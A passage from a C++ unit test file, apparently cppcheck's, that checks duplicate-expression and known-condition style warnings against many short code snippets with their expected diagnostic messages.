{\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 